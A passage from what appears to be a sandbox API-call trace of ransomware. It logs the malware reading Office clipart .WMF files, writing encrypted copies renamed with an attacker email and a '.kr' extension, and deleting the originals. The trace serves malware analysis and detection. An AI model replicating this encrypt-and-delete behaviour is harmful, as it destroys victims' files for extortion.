Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.613] lstrlenW (lpString=".dbf") returned 4 [0217.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.613] lstrlenW (lpString=".1cd") returned 4 [0217.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.613] lstrlenW (lpString=".jpg") returned 4 [0217.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.614] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.614] lstrlenW (lpString="J0152690.WMF") returned 12 [0217.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0217.805] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1268) returned 1 [0217.805] CloseHandle (hObject=0x4bc) returned 1 [0217.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 0x220 [0217.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0217.807] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.807] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.808] GetLastError () returned 0x0 [0217.808] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0217.810] WriteFile (in: hFile=0x51c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x500, lpOverlapped=0x0) returned 1 [0217.811] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.811] WriteFile (in: hFile=0x51c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.811] SetEndOfFile (hFile=0x51c) returned 1 [0217.811] CloseHandle (hObject=0x51c) returned 1 [0217.811] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.811] SetEndOfFile (hFile=0x4bc) returned 1 [0217.814] CloseHandle (hObject=0x4bc) returned 1 [0217.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0217.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.815] lstrlenW (lpString=".doc") returned 4 [0217.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.815] lstrlenW (lpString=".docx") returned 5 [0217.815] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0217.815] lstrlenW (lpString=".pdf") returned 4 [0217.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.815] lstrlenW (lpString=".xls") returned 4 [0217.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.815] lstrlenW (lpString=".xlsx") returned 5 [0217.815] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0217.815] lstrlenW (lpString=".ppt") returned 4 [0217.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.815] lstrlenW (lpString=".zip") returned 4 [0217.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.816] lstrlenW (lpString=".rar") returned 4 [0217.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.816] lstrlenW (lpString=".bz2") returned 4 [0217.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.816] lstrlenW (lpString=".7z") returned 3 [0217.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.816] lstrlenW (lpString=".dbf") returned 4 [0217.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.816] lstrlenW (lpString=".1cd") returned 4 [0217.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.816] lstrlenW (lpString=".jpg") returned 4 [0217.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.816] lstrlenW (lpString=".doc") returned 4 [0217.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.816] lstrlenW (lpString=".docx") returned 5 [0217.816] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0217.816] lstrlenW (lpString=".pdf") returned 4 [0217.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.816] lstrlenW (lpString=".xls") returned 4 [0217.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.816] lstrlenW (lpString=".xlsx") returned 5 [0217.816] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0217.816] lstrlenW (lpString=".ppt") returned 4 [0217.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.816] lstrlenW (lpString=".zip") returned 4 [0217.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.817] lstrlenW (lpString=".rar") returned 4 [0217.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.817] lstrlenW (lpString=".bz2") returned 4 [0217.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.817] lstrlenW (lpString=".7z") returned 3 [0217.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.817] lstrlenW (lpString=".dbf") returned 4 [0217.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.817] lstrlenW (lpString=".1cd") returned 4 [0217.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0217.817] lstrlenW (lpString=".jpg") returned 4 [0217.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.817] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.817] lstrlenW (lpString="J0152694.WMF") returned 12 [0217.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0217.819] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1348) returned 1 [0217.819] CloseHandle (hObject=0x4bc) returned 1 [0217.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 0x220 [0217.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0217.820] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.820] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.821] GetLastError () returned 0x0 [0217.821] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x544, lpOverlapped=0x0) returned 1 [0217.823] WriteFile (in: hFile=0x51c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x550, lpOverlapped=0x0) returned 1 [0217.824] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.824] WriteFile (in: hFile=0x51c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.824] SetEndOfFile (hFile=0x51c) returned 1 [0217.824] CloseHandle (hObject=0x51c) returned 1 [0217.824] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.824] SetEndOfFile (hFile=0x4bc) returned 1 [0217.826] CloseHandle (hObject=0x4bc) returned 1 [0217.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0217.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.829] lstrlenW (lpString=".doc") returned 4 [0217.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.829] lstrlenW (lpString=".docx") returned 5 [0217.829] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0217.829] lstrlenW (lpString=".pdf") returned 4 [0217.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.829] lstrlenW (lpString=".xls") returned 4 [0217.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.829] lstrlenW (lpString=".xlsx") returned 5 [0217.829] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0217.830] lstrlenW (lpString=".ppt") returned 4 [0217.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.830] lstrlenW (lpString=".zip") returned 4 [0217.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.830] lstrlenW (lpString=".rar") returned 4 [0217.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString=".bz2") returned 4 [0217.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString=".7z") returned 3 [0217.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.830] lstrlenW (lpString=".dbf") returned 4 [0217.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.830] lstrlenW (lpString=".1cd") returned 4 [0217.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.830] lstrlenW (lpString=".jpg") returned 4 [0217.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.830] lstrlenW (lpString=".doc") returned 4 [0217.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString=".docx") returned 5 [0217.830] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0217.830] lstrlenW (lpString=".pdf") returned 4 [0217.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString=".xls") returned 4 [0217.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.830] lstrlenW (lpString=".xlsx") returned 5 [0217.830] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0217.831] lstrlenW (lpString=".ppt") returned 4 [0217.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.831] lstrlenW (lpString=".zip") returned 4 [0217.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.831] lstrlenW (lpString=".rar") returned 4 [0217.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.831] lstrlenW (lpString=".bz2") returned 4 [0217.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.831] lstrlenW (lpString=".7z") returned 3 [0217.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.831] lstrlenW (lpString=".dbf") returned 4 [0217.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.831] lstrlenW (lpString=".1cd") returned 4 [0217.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0217.831] lstrlenW (lpString=".jpg") returned 4 [0217.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.831] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.831] lstrlenW (lpString="J0152696.WMF") returned 12 [0217.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0217.832] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=7320) returned 1 [0217.832] CloseHandle (hObject=0x4bc) returned 1 [0217.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 0x220 [0217.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0217.833] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.833] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.834] GetLastError () returned 0x0 [0217.834] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1c98, lpOverlapped=0x0) returned 1 [0217.835] WriteFile (in: hFile=0x51c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1ca0, lpOverlapped=0x0) returned 1 [0217.836] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.836] WriteFile (in: hFile=0x51c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.836] SetEndOfFile (hFile=0x51c) returned 1 [0217.837] CloseHandle (hObject=0x51c) returned 1 [0217.837] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.837] SetEndOfFile (hFile=0x4bc) returned 1 [0217.839] CloseHandle (hObject=0x4bc) returned 1 [0217.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0217.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.840] lstrlenW (lpString=".doc") returned 4 [0217.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.840] lstrlenW (lpString=".docx") returned 5 [0217.841] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0217.841] lstrlenW (lpString=".pdf") returned 4 [0217.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.841] lstrlenW (lpString=".xls") returned 4 [0217.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.841] lstrlenW (lpString=".xlsx") returned 5 [0217.841] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0217.841] lstrlenW (lpString=".ppt") returned 4 [0217.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.841] lstrlenW (lpString=".zip") returned 4 [0217.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.841] lstrlenW (lpString=".rar") returned 4 [0217.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.841] lstrlenW (lpString=".bz2") returned 4 [0217.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.841] lstrlenW (lpString=".7z") returned 3 [0217.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.841] lstrlenW (lpString=".dbf") returned 4 [0217.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.841] lstrlenW (lpString=".1cd") returned 4 [0217.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.841] lstrlenW (lpString=".jpg") returned 4 [0217.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.841] lstrlenW (lpString=".doc") returned 4 [0217.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.841] lstrlenW (lpString=".docx") returned 5 [0217.842] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0217.842] lstrlenW (lpString=".pdf") returned 4 [0217.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.842] lstrlenW (lpString=".xls") returned 4 [0217.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.842] lstrlenW (lpString=".xlsx") returned 5 [0217.842] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0217.842] lstrlenW (lpString=".ppt") returned 4 [0217.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.842] lstrlenW (lpString=".zip") returned 4 [0217.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.842] lstrlenW (lpString=".rar") returned 4 [0217.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.842] lstrlenW (lpString=".bz2") returned 4 [0217.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.842] lstrlenW (lpString=".7z") returned 3 [0217.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.842] lstrlenW (lpString=".dbf") returned 4 [0217.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.842] lstrlenW (lpString=".1cd") returned 4 [0217.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0217.842] lstrlenW 